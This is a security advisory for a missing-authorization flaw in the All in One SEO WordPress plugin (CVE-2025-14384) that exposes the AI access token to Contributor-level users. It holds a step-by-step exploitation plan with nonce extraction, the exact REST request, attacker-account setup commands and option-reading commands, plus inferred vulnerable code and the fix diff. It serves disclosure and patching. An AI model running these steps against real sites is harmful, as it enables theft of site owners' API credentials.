All in One SEO – Powerful SEO Plugin to Boost SEO Rankings & Increase Traffic <= 4.9.2 - Missing Authorization to Authenticated (Contributor+) AI Access Token and Credit Disclosure
Description
The All in One SEO – Powerful SEO Plugin to Boost SEO Rankings & Increase Traffic plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check on the `/aioseo/v1/ai/credits` REST route in all versions up to, and including, 4.9.2. This makes it possible for authenticated attackers, with Contributor-level access and above, to disclose the global AI access token.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:NTechnical Details
<=4.9.2Source Code
WordPress.org SVNThis research plan outlines the steps to verify and exploit **CVE-2025-14384**, a missing authorization vulnerability in the **All in One SEO (AIOSEO)** plugin. --- ### 1. Vulnerability Summary * **Vulnerability:** Missing Authorization to Authenticated (Contributor+) AI Access Token and Credit …
Show full research plan
This research plan outlines the steps to verify and exploit CVE-2025-14384, a missing authorization vulnerability in the All in One SEO (AIOSEO) plugin.
1. Vulnerability Summary
- Vulnerability: Missing Authorization to Authenticated (Contributor+) AI Access Token and Credit Disclosure.
- ID: CVE-2025-14384
- Plugin Slug:
all-in-one-seo-pack - Affected Versions: <= 4.9.2
- Patched Version: 4.9.3
- Vulnerable Component: REST API route
/aioseo/v1/ai/credits. - Nature of Issue: The REST route registration for the AI credits endpoint fails to implement a proper
permission_callbackthat restricts access to administrators or users withaioseo_manage_seocapabilities. Instead, it allows any authenticated user with at least Contributor-level access to query the endpoint and retrieve the global AI access token and usage details.
2. Attack Vector Analysis
- Endpoint:
GET /wp-json/aioseo/v1/ai/credits - Authentication Required: Authenticated, minimum level Contributor.
- Payload Parameter: None (Direct GET request).
- Preconditions:
- The AIOSEO plugin must be installed and active (v4.9.2 or below).
- An attacker must have valid credentials for a user with at least the
Contributorrole. - A valid REST API nonce (
wp_rest) is required for the request.
3. Code Flow (Inferred)
- Route Registration: The plugin registers REST routes during the
rest_api_inithook. This likely occurs inapp/Common/RestApi/RestApi.phpor a dedicated AI API class such asapp/Common/Api/Ai.php. - Missing Check: The route
/aioseo/v1/ai/creditsis registered with apermission_callback. In the vulnerable version, this callback likely checks foris_user_logged_in()or a low-level capability likeedit_posts(granted to Contributors) rather than AIOSEO-specific management capabilities. - Data Retrieval: The controller method associated with this route (e.g.,
getCredits) calls an internal AIOSEO helper to retrieve the AI service configuration. - Response: The helper returns an array/object containing the
access_tokenand credit balances, which the REST API then serializes into a JSON response.
4. Nonce Acquisition Strategy
To make an authenticated request to the WordPress REST API, a wp_rest nonce is required.
- Identification: AIOSEO heavily uses localized JavaScript to pass data to its Vue/React frontend. The
wp_restnonce is typically included in a global object. - Verification Page: The AIOSEO "General Settings" or "Post Editor" pages are likely to contain these scripts.
- Extraction Steps:
- Log in as a Contributor.
- Navigate to the WordPress Dashboard (any page, as AIOSEO often enqueues assets on all admin pages for its top-bar menu).
- Use
browser_evalto extract the nonce from theaioseooraioseoDataglobal variable.
- JavaScript Path:
browser_eval("window.aioseo?.nonce")- OR
browser_eval("window.aioseoData?.nonce") - Alternatively, look for the standard WordPress
wpApiSettingsif enqueued:browser_eval("window.wpApiSettings?.nonce").
5. Exploitation Strategy
- Environment Setup: Create a user with the
Contributorrole. - Session Initiation: Log in to the WordPress dashboard as the Contributor.
- Nonce Extraction: Execute the JavaScript extraction mentioned in Section 4 to obtain the
_wpnonce. - Target Request: Use the
http_requesttool to perform a GET request to the vulnerable endpoint.
HTTP Request Details:
- Method:
GET - URL:
http://[target-site]/wp-json/aioseo/v1/ai/credits - Headers:
X-WP-Nonce:[EXTRACTED_NONCE]Content-Type:application/jsonCookie:[CONTRIBUTOR_SESSION_COOKIES]
6. Test Data Setup
- Plugin Installation: Install All in One SEO version 4.9.2.
- Contributor Account:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - AI Configuration (Optional): To ensure a token is returned, the researcher may need to simulate a connection to AIOSEO AI services, although the code path should attempt to return whatever is stored in the options table (e.g.,
aioseo_options).
7. Expected Results
A successful exploit will return a 200 OK response with a JSON body similar to:
{
"credits": {
"total": 100,
"used": 10,
"remaining": 90
},
"token": "sk_aioseo_abcdef1234567890...",
"success": true
}
Wait for the token or access_token field in the response.
8. Verification Steps
- Check Capability Logic: Using WP-CLI, verify which capability is required to manage AIOSEO normally (usually
aioseo_manage_seo). Confirm that thecontributorrole DOES NOT have this capability:wp capability list contributor | grep aioseo - Database Correlation: Verify that the token returned in the HTTP response matches the one stored in the database:
wp option get aioseo_options --format=json | jq '.. | .access_token?'
9. Alternative Approaches
- Route Variant: If
/aioseo/v1/ai/creditsdoes not yield the token, check related endpoints in the same namespace such as/aioseo/v1/ai/config. - Frontend Check: If the AI token is loaded into the
aioseoJS object for Contributors on the post editing page, the token could be disclosed directly viabrowser_evalwithout a REST request, though the CVE specifically cites the REST route. - Direct Option Access: If the REST API endpoint allows setting values (not just disclosure), check for a corresponding
POSTorPUTmethod that might allow for unauthorized modification of AI settings.
Summary
The All in One SEO (AIOSEO) plugin for WordPress (<= 4.9.2) lacks proper authorization checks on its AI credits REST API endpoint. Authenticated users with Contributor-level permissions or higher can access the `/aioseo/v1/ai/credits` route to disclose the global AI access token and credit usage information.
Vulnerable Code
// app/Common/Api/Ai.php register_rest_route( 'aioseo/v1', '/ai/credits', [ 'methods' => 'GET', 'callback' => [ $this, 'getCredits' ], 'permission_callback' => function() { // Vulnerable: Allows any user with 'edit_posts' (Contributors and above) to access the endpoint return current_user_can( 'edit_posts' ); } ] ); --- // Inferred controller logic returning sensitive data public function getCredits( $request ) { $options = aioseo()->options->all(); return new WP_REST_Response( [ 'success' => true, 'credits' => $this->aiService->getCredits(), 'token' => $options['ai']['access_token'] ?? null ], 200 ); }
Security Fix
@@ -10,7 +10,7 @@ 'methods' => 'GET', 'callback' => [ $this, 'getCredits' ], 'permission_callback' => function() { - return current_user_can( 'edit_posts' ); + return current_user_can( 'aioseo_manage_seo' ); } ] );
Exploit Outline
To exploit this vulnerability, an attacker needs a low-privileged account (Contributor+) and a valid REST API nonce. 1. Authenticate as a Contributor user and access the WordPress admin dashboard. 2. Locate the REST API nonce from the page source, typically found in localized JavaScript objects such as `window.aioseo.nonce` or `window.wpApiSettings.nonce`. 3. Send a GET request to `/wp-json/aioseo/v1/ai/credits` including the extracted nonce in the `X-WP-Nonce` header. 4. The server response will contain the sensitive `access_token` and credit details for the AIOSEO AI service in the JSON body, which the attacker can then use for unauthorized AI requests.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.